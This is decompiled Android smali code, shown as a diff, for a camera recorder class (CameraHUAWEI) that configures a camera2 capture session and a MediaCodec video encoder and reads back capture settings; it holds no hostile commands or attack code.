iget-object v4, v4, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->properties:Landroid/hardware/camera2/CameraCharacteristics;
.line 76
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
.line 77
const-class v3, Landroid/media/MediaCodec;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
move-result-object p1
.line 78
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
const/4 v4, 0x0
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
.line 79
array-length v3, p1
const/4 v5, 0x0
move v6, v5
:goto_0
const/4 v7, 0x2
if-ge v6, v3, :cond_1
aget-object v8, p1, v6
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
move-result v9
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
aget-object v7, v10, v7
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v7
if-ne v9, v7, :cond_0
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
move-result v7
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
const/4 v10, 0x3
aget-object v9, v9, v10
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v9
if-ne v7, v9, :cond_0
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
:cond_0
add-int/lit8 v6, v6, 0x1
goto :goto_0
.line 80
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=Width:%d Height:%d"
new-array v6, v7, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
aput-object v7, v6, v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
const/4 v8, 0x1
aput-object v7, v6, v8
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 81
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
move-result v3
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
move-result v6
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
.line 82
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
const-string v3, "color-format"
const v6, 0x7f000789
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 83
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
const/4 v6, 0x5
aget-object v3, v3, v6
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
iput v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->FPS:I
.line 84
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
aget-object v3, v3, v5
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
int-to-double v6, v3
const-wide/high16 v9, 0x3ff4000000000000L # 1.25
div-double/2addr v6, v9
double-to-int v3, v6
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 85
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->FPS:I
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 86
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
const-string v3, "i-frame-interval"
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 87
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
const-string v3, "max-input-size"
invoke-virtual {p1, v3, v5}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 88
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%s"
new-array v6, v8, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
aget-object v7, v7, v5
aput-object v7, v6, v5
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 89
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%d"
new-array v6, v8, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
invoke-virtual {v7, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
aput-object v1, v6, v5
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 90
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=FrameRate:%d"
new-array v3, v8, [Ljava/lang/Object;
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
invoke-virtual {v6, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v0
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v0
aput-object v0, v3, v5
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 91
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
.line 92
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
.line 93
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
move-result-object v0
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/view/Surface;)Landroid/view/Surface;
.line 94
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0, v8}, Ljava/util/ArrayList;-><init>(I)V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
.line 95
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
move-result-object v0
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 96
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
invoke-virtual {p1, v0, v1, v4}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
.line 97
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_1
:catch_0
move-exception p1
.line 99
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_1
return-void
.end method

View File

@@ -0,0 +1,661 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;
.super Ljava/lang/Thread;
.source "CameraHUAWEI.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/CameraHUAWEI$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI$2;)V
.locals 0
.line 171
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
return-void
.end method
# virtual methods
.method public run()V
.locals 3
.line 174
:goto_0
sget-boolean v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->Starting:Z
if-eqz v0, :cond_0
.line 176
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
const/4 v1, 0x0
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEI;Z)V
const-wide/16 v0, 0x1
.line 177
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->sleep(J)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 179
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
goto :goto_0
.line 183
:cond_0
:try_start_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Landroid/graphics/Rect;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->rect:Landroid/graphics/Rect;
.line 184
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->aec:I
.line 185
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cem:I
.line 186
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, [Landroid/hardware/camera2/params/MeteringRectangle;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
.line 187
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
.line 188
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->caft:I
.line 189
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Float;
invoke-virtual {v1}, Ljava/lang/Float;->floatValue()F
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->lfd:F
.line 190
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->caem:I
.line 191
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
